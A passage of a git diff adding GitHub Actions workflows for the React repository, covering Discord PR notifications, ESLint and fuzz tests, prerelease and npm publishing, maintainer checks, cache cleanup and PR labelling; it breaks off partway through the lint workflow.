+++ b/.github/workflows/runtime_discord_notify.yml
@@ -0,0 +1,51 @@
+name: (Runtime) Discord Notify
+
+on:
+  pull_request_target:
+    types: [opened, ready_for_review]
+    paths-ignore:
+      - packages/react-devtools**
+      - compiler/**
+      - .github/workflows/compiler_**.yml
+      - .github/workflows/devtools**.yml
+
+permissions: {}
+
+jobs:
+  check_access:
+    if: ${{ github.event.pull_request.draft == false }}
+    runs-on: ubuntu-latest
+    outputs:
+      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
+    steps:
+      - run: echo ${{ github.event.pull_request.author_association }}
+      - name: Check is member or collaborator
+        id: check_is_member_or_collaborator
+        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}
+        run: echo "is_member_or_collaborator=true" >> "$GITHUB_OUTPUT"
+
+  check_maintainer:
+    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}
+    needs: [check_access]
+    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main
+    permissions:
+      # Used by check_maintainer
+      contents: read
+    with:
+      actor: ${{ github.event.pull_request.user.login }}
+
+  notify:
+    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}
+    needs: check_maintainer
+    runs-on: ubuntu-latest
+    steps:
+      - name: Discord Webhook Action
+        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
+        with:
+          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}
+          embed-author-name: ${{ github.event.pull_request.user.login }}
+          embed-author-url: ${{ github.event.pull_request.user.html_url }}
+          embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}
+          embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'
+          embed-description: ${{ github.event.pull_request.body }}
+          embed-url: ${{ github.event.pull_request.html_url }}
diff --git a/.github/workflows/runtime_eslint_plugin_e2e.yml b/.github/workflows/runtime_eslint_plugin_e2e.yml
new file mode 100644
index 000000000000..bd6f0782066e
--- /dev/null
+++ b/.github/workflows/runtime_eslint_plugin_e2e.yml
@@ -0,0 +1,66 @@
+name: (Runtime) ESLint Plugin E2E
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    paths-ignore:
+      - compiler/**
+
+permissions: {}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  # ----- TESTS -----
+  test:
+    name: ESLint v${{ matrix.eslint_major }}
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        eslint_major:
+          - "6"
+          - "7"
+          - "8"
+          - "9"
+          - "10"
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: |
+            yarn.lock
+            compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-and-compiler-eslint_e2e-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock', 'fixtures/eslint-v*/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd compiler install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Install fixture dependencies
+        working-directory: ./fixtures/eslint-v${{ matrix.eslint_major }}
+        run: yarn --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Build plugin
+        working-directory: fixtures/eslint-v${{ matrix.eslint_major }}
+        run: node build.mjs
+      - name: Run lint test
+        working-directory: ./fixtures/eslint-v${{ matrix.eslint_major }}
+        run: yarn lint
diff --git a/.github/workflows/runtime_fuzz_tests.yml b/.github/workflows/runtime_fuzz_tests.yml
new file mode 100644
index 000000000000..a88ce523a62f
--- /dev/null
+++ b/.github/workflows/runtime_fuzz_tests.yml
@@ -0,0 +1,33 @@
+name: (Runtime) Fuzz tests
+
+on:
+  schedule:
+    - cron: 0 * * * *
+  push:
+    branches:
+      - main
+  workflow_dispatch:
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  test_fuzz:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v4.1.0
+    - uses: actions/setup-node@v4
+      with:
+        node-version-file: '.nvmrc'
+        cache: 'yarn'
+    - name: Install dependencies
+      run: yarn install --frozen-lockfile
+      env:
+        ELECTRON_SKIP_BINARY_DOWNLOAD: "1"
+      shell: bash
+    - name: Run fuzz tests
+      run: |-
+        FUZZ_TEST_SEED=$RANDOM yarn test fuzz --ci
+        FUZZ_TEST_SEED=$RANDOM yarn test --prod fuzz --ci
diff --git a/.github/workflows/runtime_prereleases.yml b/.github/workflows/runtime_prereleases.yml
new file mode 100644
index 000000000000..6559b1449971
--- /dev/null
+++ b/.github/workflows/runtime_prereleases.yml
@@ -0,0 +1,110 @@
+name: (Runtime) Publish Prereleases
+
+on:
+  workflow_call:
+    inputs:
+      commit_sha:
+        required: true
+        default: ''
+        type: string
+      release_channel:
+        required: true
+        type: string
+      dist_tag:
+        required: true
+        type: string
+      enableFailureNotification:
+        description: 'Whether to notify the team on Discord when the release fails. Useful if this workflow is called from an automation.'
+        required: false
+        type: boolean
+      only_packages:
+        description: Packages to publish (space separated)
+        type: string
+      skip_packages:
+        description: Packages to NOT publish (space separated)
+        type: string
+      dry:
+        required: true
+        description: Dry run instead of publish?
+        type: boolean
+        default: true
+    secrets:
+      DISCORD_WEBHOOK_URL:
+        description: 'Discord webhook URL to notify on failure. Only required if enableFailureNotification is true.'
+        required: false
+      GH_TOKEN:
+        required: true
+      NPM_TOKEN:
+        required: true
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+
+jobs:
+  publish_prerelease:
+    name: Publish prelease (${{ inputs.release_channel }}) ${{ inputs.commit_sha }} @${{ inputs.dist_tag }}
+    runs-on: ubuntu-latest
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd scripts/release install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: cp ./scripts/release/ci-npmrc ~/.npmrc
+      - run: |
+          GH_TOKEN=${{ secrets.GH_TOKEN }} scripts/release/prepare-release-from-ci.js --skipTests -r ${{ inputs.release_channel }} --commit=${{ inputs.commit_sha }}
+      - name: Check prepared files
+        run: ls -R build/node_modules
+      - if: '${{ inputs.only_packages }}'
+        name: 'Publish ${{ inputs.only_packages }}'
+        run: |
+          scripts/release/publish.js \
+            --ci \
+            --tags=${{ inputs.dist_tag }} \
+            --onlyPackages=${{ inputs.only_packages }} ${{ (inputs.dry && '') || '\'}}
+            ${{ inputs.dry && '--dry' || '' }}
+      - if: '${{ inputs.skip_packages }}'
+        name: 'Publish all packages EXCEPT ${{ inputs.skip_packages }}'
+        run: |
+          scripts/release/publish.js \
+            --ci \
+            --tags=${{ inputs.dist_tag }} \
+            --skipPackages=${{ inputs.skip_packages }} ${{ (inputs.dry && '') || '\'}}
+            ${{ inputs.dry && '--dry' || '' }}
+      - if: '${{ !inputs.skip_packages && !inputs.only_packages }}'
+        name: 'Publish all packages'
+        run: |
+          scripts/release/publish.js \
+            --ci \
+            --tags=${{ inputs.dist_tag }} ${{ (inputs.dry && '') || '\'}}
+            ${{ inputs.dry && '--dry' || '' }}
+      - name: Notify Discord on failure
+        if: failure() && inputs.enableFailureNotification == true
+        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
+        with:
+          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}
+          embed-author-name: "GitHub Actions"
+          embed-title: '[Runtime] Publish of ${{ inputs.release_channel }}@${{ inputs.dist_tag}} release failed'
+          embed-url: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}/attempts/${{ github.run_attempt }}
diff --git a/.github/workflows/runtime_prereleases_manual.yml b/.github/workflows/runtime_prereleases_manual.yml
new file mode 100644
index 000000000000..407d931e9073
--- /dev/null
+++ b/.github/workflows/runtime_prereleases_manual.yml
@@ -0,0 +1,102 @@
+name: (Runtime) Publish Prereleases Manual
+
+on:
+  workflow_dispatch:
+    inputs:
+      prerelease_commit_sha:
+        required: true
+      only_packages:
+        description: Packages to publish (space separated)
+        type: string
+      skip_packages:
+        description: Packages to NOT publish (space separated)
+        type: string
+      dry:
+        required: true
+        description: Dry run instead of publish?
+        type: boolean
+        default: true
+      experimental_only:
+        type: boolean
+        description: Only publish to the experimental tag
+        default: false
+      force_notify:
+        description: Force a Discord notification?
+        type: boolean
+        default: false
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  notify:
+    if: ${{ inputs.force_notify || inputs.dry == false || inputs.dry == 'false' }}
+    runs-on: ubuntu-latest
+    steps:
+      - name: Discord Webhook Action
+        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
+        with:
+          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}
+          embed-author-name: ${{ github.event.sender.login }}
+          embed-author-url: ${{ github.event.sender.html_url }}
+          embed-author-icon-url: ${{ github.event.sender.avatar_url }}
+          embed-title: "⚠️ Publishing ${{ inputs.experimental_only && 'EXPERIMENTAL' || 'CANARY & EXPERIMENTAL' }} release ${{ (inputs.dry && ' (dry run)') || '' }}"
+          embed-description: |
+            ```json
+            ${{ toJson(inputs) }}
+            ```
+          embed-url: https://github.com/facebook/react/actions/runs/${{ github.run_id }}
+
+  publish_prerelease_canary:
+    if: ${{ !inputs.experimental_only }}
+    name: Publish to Canary channel
+    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    with:
+      commit_sha: ${{ inputs.prerelease_commit_sha }}
+      release_channel: stable
+      # The tags to use when publishing canaries. The main one we should
+      # always include is "canary" but we can use multiple (e.g. alpha,
+      # beta, rc). To declare multiple, use a comma-separated string, like
+      # this:
+      #   dist_tag: "canary,alpha,beta,rc"
+      #
+      # TODO: We currently tag canaries with "next" in addition to "canary"
+      # because this used to be called the "next" channel and some
+      # downstream consumers might still expect that tag. We can remove this
+      # after some time has elapsed and the change has been communicated.
+      dist_tag: canary,next
+      only_packages: ${{ inputs.only_packages }}
+      skip_packages: ${{ inputs.skip_packages }}
+      dry: ${{ inputs.dry }}
+    secrets:
+      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+  publish_prerelease_experimental:
+    name: Publish to Experimental channel
+    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    # NOTE: Intentionally running these jobs sequentially because npm
+    # will sometimes fail if you try to concurrently publish two
+    # different versions of the same package, even if they use different
+    # dist tags.
+    needs: publish_prerelease_canary
+    # Ensures the job runs even if canary is skipped
+    if: always()
+    with:
+      commit_sha: ${{ inputs.prerelease_commit_sha }}
+      release_channel: experimental
+      dist_tag: experimental
+      only_packages: ${{ inputs.only_packages }}
+      skip_packages: ${{ inputs.skip_packages }}
+      dry: ${{ inputs.dry }}
+    secrets:
+      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.github/workflows/runtime_prereleases_nightly.yml b/.github/workflows/runtime_prereleases_nightly.yml
new file mode 100644
index 000000000000..f13a92e46f40
--- /dev/null
+++ b/.github/workflows/runtime_prereleases_nightly.yml
@@ -0,0 +1,51 @@
+name: (Runtime) Publish Prereleases Nightly
+
+on:
+  schedule:
+    # At 10 minutes past 16:00 on Mon, Tue, Wed, Thu, and Fri
+    - cron: 10 16 * * 1,2,3,4,5
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  publish_prerelease_canary:
+    name: Publish to Canary channel
+    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    with:
+      commit_sha: ${{ github.sha }}
+      release_channel: stable
+      dist_tag: canary,next
+      enableFailureNotification: true
+      dry: false
+    secrets:
+      DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }}
+      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+  publish_prerelease_experimental:
+    name: Publish to Experimental channel
+    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    # NOTE: Intentionally running these jobs sequentially because npm
+    # will sometimes fail if you try to concurrently publish two
+    # different versions of the same package, even if they use different
+    # dist tags.
+    needs: publish_prerelease_canary
+    with:
+      commit_sha: ${{ github.sha }}
+      release_channel: experimental
+      dist_tag: experimental
+      enableFailureNotification: true
+      dry: false
+    secrets:
+      DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }}
+      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.github/workflows/runtime_releases_from_npm_manual.yml b/.github/workflows/runtime_releases_from_npm_manual.yml
new file mode 100644
index 000000000000..f164e9f08066
--- /dev/null
+++ b/.github/workflows/runtime_releases_from_npm_manual.yml
@@ -0,0 +1,128 @@
+name: (Runtime) Publish Releases from NPM Manual
+
+on:
+  workflow_dispatch:
+    inputs:
+      version_to_promote:
+        required: true
+        description: Current npm version (non-experimental) to promote
+        type: string
+      version_to_publish:
+        required: true
+        description: Version to publish for the specified packages
+        type: string
+      only_packages:
+        description: Packages to publish (space separated)
+        type: string
+      skip_packages:
+        description: Packages to NOT publish (space separated)
+        type: string
+      tags:
+        description: NPM tags (space separated)
+        type: string
+        default: untagged
+      dry:
+        required: true
+        description: Dry run instead of publish?
+        type: boolean
+        default: true
+      force_notify:
+        description: Force a Discord notification?
+        type: boolean
+        default: false
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+
+jobs:
+  notify:
+    if: ${{ inputs.force_notify || inputs.dry == false || inputs.dry == 'false' }}
+    runs-on: ubuntu-latest
+    steps:
+      - name: Discord Webhook Action
+        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
+        with:
+          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}
+          embed-author-name: ${{ github.event.sender.login }}
+          embed-author-url: ${{ github.event.sender.html_url }}
+          embed-author-icon-url: ${{ github.event.sender.avatar_url }}
+          embed-title: "⚠️ Publishing release from NPM${{ (inputs.dry && ' (dry run)') || '' }}"
+          embed-description: |
+            ```json
+            ${{ toJson(inputs) }}
+            ```
+          embed-url: https://github.com/facebook/react/actions/runs/${{ github.run_id }}
+
+  publish:
+    name: Publish releases
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd scripts/release install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: cp ./scripts/release/ci-npmrc ~/.npmrc
+      - if: '${{ inputs.only_packages }}'
+        name: 'Prepare ${{ inputs.only_packages }} from NPM'
+        run: |
+          scripts/release/prepare-release-from-npm.js \
+            --ci \
+            --skipTests \
+            --version=${{ inputs.version_to_promote }} \
+            --publishVersion=${{ inputs.version_to_publish }} \
+            --onlyPackages=${{ inputs.only_packages }}
+      - if: '${{ inputs.skip_packages }}'
+        name: 'Prepare all packages EXCEPT ${{ inputs.skip_packages }} from NPM'
+        run: |
+          scripts/release/prepare-release-from-npm.js \
+            --ci \
+            --skipTests \
+            --version=${{ inputs.version_to_promote }} \
+            --publishVersion=${{ inputs.version_to_publish }} \
+            --skipPackages=${{ inputs.skip_packages }}
+      - name: Check prepared files
+        run: ls -R build/node_modules
+      - if: '${{ inputs.only_packages }}'
+        name: 'Publish ${{ inputs.only_packages }}'
+        run: |
+          scripts/release/publish.js \
+            --ci \
+            --tags=${{ inputs.tags }} \
+            --publishVersion=${{ inputs.version_to_publish }} \
+            --onlyPackages=${{ inputs.only_packages }} ${{ (inputs.dry && '') || '\'}}
+            ${{ inputs.dry && '--dry' || '' }}
+      - if: '${{ inputs.skip_packages }}'
+        name: 'Publish all packages EXCEPT ${{ inputs.skip_packages }}'
+        run: |
+          scripts/release/publish.js \
+            --ci \
+            --tags=${{ inputs.tags }} \
+            --publishVersion=${{ inputs.version_to_publish }} \
+            --skipPackages=${{ inputs.skip_packages }} ${{ (inputs.dry && '') || '\'}}
+            ${{ inputs.dry && '--dry' || '' }}
+      - name: Archive released package for debugging
+        uses: actions/upload-artifact@v4
+        with:
+          name: build
+          path: |
+            ./build/node_modules
diff --git a/.github/workflows/shared_check_maintainer.yml b/.github/workflows/shared_check_maintainer.yml
new file mode 100644
index 000000000000..f6eb9b9a6d12
--- /dev/null
+++ b/.github/workflows/shared_check_maintainer.yml
@@ -0,0 +1,58 @@
+name: (Shared) Check maintainer
+
+on:
+  workflow_call:
+    inputs:
+      actor:
+        required: true
+        type: string
+    outputs:
+      is_core_team:
+        value: ${{ jobs.check_maintainer.outputs.is_core_team }}
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  check_maintainer:
+    runs-on: ubuntu-latest
+    permissions:
+      # We fetch the contents of the MAINTAINERS file
+      contents: read
+    outputs:
+      is_core_team: ${{ steps.check_if_actor_is_maintainer.outputs.result }}
+    steps:
+      - name: Check if actor is maintainer
+        id: check_if_actor_is_maintainer
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const fs = require('fs');
+            const actor = '${{ inputs.actor }}';
+            const res = await github.rest.repos.getContent({
+              owner: 'facebook',
+              repo: 'react',
+              path: 'MAINTAINERS',
+              ref: 'main',
+              headers: { Accept: 'application/vnd.github+json' }
+            });
+            if (res.status !== 200) {
+              console.error(res);
+              throw new Error('Unable to fetch MAINTAINERS file');
+            }
+            content = Buffer.from(res.data.content, 'base64').toString();
+            if (content == null || typeof content !== 'string') {
+              throw new Error('Unable to retrieve MAINTAINERS file');
+            }
+
+            const maintainers = new Set(content.split('\n'));
+            if (maintainers.has(actor)) {
+              console.log(`🟢 ${actor} is a maintainer`);
+              return true;
+            }
+            console.log(`🔴 ${actor} is NOT a maintainer`);
+            return null;
diff --git a/.github/workflows/shared_cleanup_merged_branch_caches.yml b/.github/workflows/shared_cleanup_merged_branch_caches.yml
new file mode 100644
index 000000000000..ed80a505e428
--- /dev/null
+++ b/.github/workflows/shared_cleanup_merged_branch_caches.yml
@@ -0,0 +1,41 @@
+# https://github.com/actions/cache/blob/main/tips-and-workarounds.md#force-deletion-of-caches-overriding-default-cache-eviction-policy
+
+name: (Shared) Cleanup Merged Branch Caches
+on:
+  pull_request:
+    types:
+      - closed
+  workflow_dispatch:
+    inputs:
+      pr_number:
+        required: true
+        type: string
+
+permissions: {}
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    permissions:
+      # `actions:write` permission is required to delete caches
+      #   See also: https://docs.github.com/en/rest/actions/cache?apiVersion=2022-11-28#delete-a-github-actions-cache-for-a-repository-using-a-cache-id
+      actions: write
+      contents: read
+    steps:
+      - name: Cleanup
+        run: |
+          echo "Fetching list of cache key"
+          cacheKeysForPR=$(gh cache list --ref $BRANCH --limit 100 --json id --jq '.[].id')
+
+          ## Setting this to not fail the workflow while deleting cache keys.
+          set +e
+          for cacheKey in $cacheKeysForPR
+          do
+              gh cache delete $cacheKey
+              echo "Deleting $cacheKey"
+          done
+          echo "Done"
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GH_REPO: ${{ github.repository }}
+          BRANCH: refs/pull/${{ inputs.pr_number || github.event.pull_request.number }}/merge
diff --git a/.github/workflows/shared_cleanup_stale_branch_caches.yml b/.github/workflows/shared_cleanup_stale_branch_caches.yml
new file mode 100644
index 000000000000..f6c532b485a4
--- /dev/null
+++ b/.github/workflows/shared_cleanup_stale_branch_caches.yml
@@ -0,0 +1,36 @@
+# https://github.com/actions/cache/blob/main/tips-and-workarounds.md#force-deletion-of-caches-overriding-default-cache-eviction-policy
+
+name: (Shared) Cleanup Stale Branch Caches
+on:
+  schedule:
+    # Every 6 hours
+    - cron: 0 */6 * * *
+  workflow_dispatch:
+
+permissions: {}
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    permissions:
+      # `actions:write` permission is required to delete caches
+      #   See also: https://docs.github.com/en/rest/actions/cache?apiVersion=2022-11-28#delete-a-github-actions-cache-for-a-repository-using-a-cache-id
+      actions: write
+      contents: read
+    steps:
+      - name: Cleanup
+        run: |
+          echo "Fetching list of cache keys"
+          cacheKeysForPR=$(gh cache list --limit 100 --json id,ref --jq '.[] | select(.ref != "refs/heads/main") | .id')
+
+          ## Setting this to not fail the workflow while deleting cache keys.
+          set +e
+          for cacheKey in $cacheKeysForPR
+          do
+              gh cache delete $cacheKey
+              echo "Deleting $cacheKey"
+          done
+          echo "Done"
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GH_REPO: ${{ github.repository }}
diff --git a/.github/workflows/shared_close_direct_sync_branch_prs.yml b/.github/workflows/shared_close_direct_sync_branch_prs.yml
new file mode 100644
index 000000000000..caa4da880b5f
--- /dev/null
+++ b/.github/workflows/shared_close_direct_sync_branch_prs.yml
@@ -0,0 +1,43 @@
+name: (Shared) Close Direct Sync Branch PRs
+
+on:
+  pull_request:
+    branches:
+      - 'builds/facebook-**'
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  close_pr:
+    runs-on: ubuntu-latest
+    permissions:
+      # Used to create a review and close PRs
+      pull-requests: write
+      contents: write
+    steps:
+      - name: Close PR
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const owner = context.repo.owner;
+            const repo = context.repo.repo;
+            const pullNumber = ${{ github.event.number }};
+
+            await github.rest.pulls.createReview({
+              owner,
+              repo,
+              pull_number: pullNumber,
+              body: 'Do not land changes to `${{ github.event.pull_request.base.ref }}`. Please re-open your PR targeting `main` instead.',
+              event: 'REQUEST_CHANGES'
+            });
+            await github.rest.pulls.update({
+              owner,
+              repo,
+              pull_number: pullNumber,
+              state: 'closed'
+            });
diff --git a/.github/workflows/shared_label_core_team_prs.yml b/.github/workflows/shared_label_core_team_prs.yml
new file mode 100644
index 000000000000..cc10e87dcc2c
--- /dev/null
+++ b/.github/workflows/shared_label_core_team_prs.yml
@@ -0,0 +1,55 @@
+name: (Shared) Label Core Team PRs
+
+on:
+  pull_request_target:
+    types: [opened]
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  check_access:
+    runs-on: ubuntu-latest
+    outputs:
+      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
+    steps:
+      - run: echo ${{ github.event.pull_request.author_association }}
+      - name: Check is member or collaborator
+        id: check_is_member_or_collaborator
+        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}
+        run: echo "is_member_or_collaborator=true" >> "$GITHUB_OUTPUT"
+
+  check_maintainer:
+    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}
+    needs: [check_access]
+    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main
+    permissions:
+      # Used by check_maintainer
+      contents: read
+    with:
+      actor: ${{ github.event.pull_request.user.login }}
+
+  label:
+    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}
+    runs-on: ubuntu-latest
+    needs: check_maintainer
+    permissions:
+      # Used to add labels on issues
+      issues: write
+      # Used to add labels on PRs
+      pull-requests: write
+    steps:
+      - name: Label PR as React Core Team
+        uses: actions/github-script@v7
+        with:
+          script: |
+            github.rest.issues.addLabels({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: ${{ github.event.number }},
+              labels: ['React Core Team']
+            });
diff --git a/.github/workflows/shared_lint.yml b/.github/workflows/shared_lint.yml
new file mode 100644
index 000000000000..3c359cff2280
--- /dev/null
+++ b/.github/workflows/shared_lint.yml
@@ -0,0 +1,110 @@
+name: (Shared) Lint
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+
+permissions: {}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  prettier:
+    name: Run prettier
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn prettier-check
+
+  eslint:
+    name: Run eslint
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: node ./scripts/tasks/eslint
+
+  check_license:
+    name: Check license
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: ./scripts/ci/check_license.sh
+
+  test_print_warnings:
+    name: Test print warnings
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
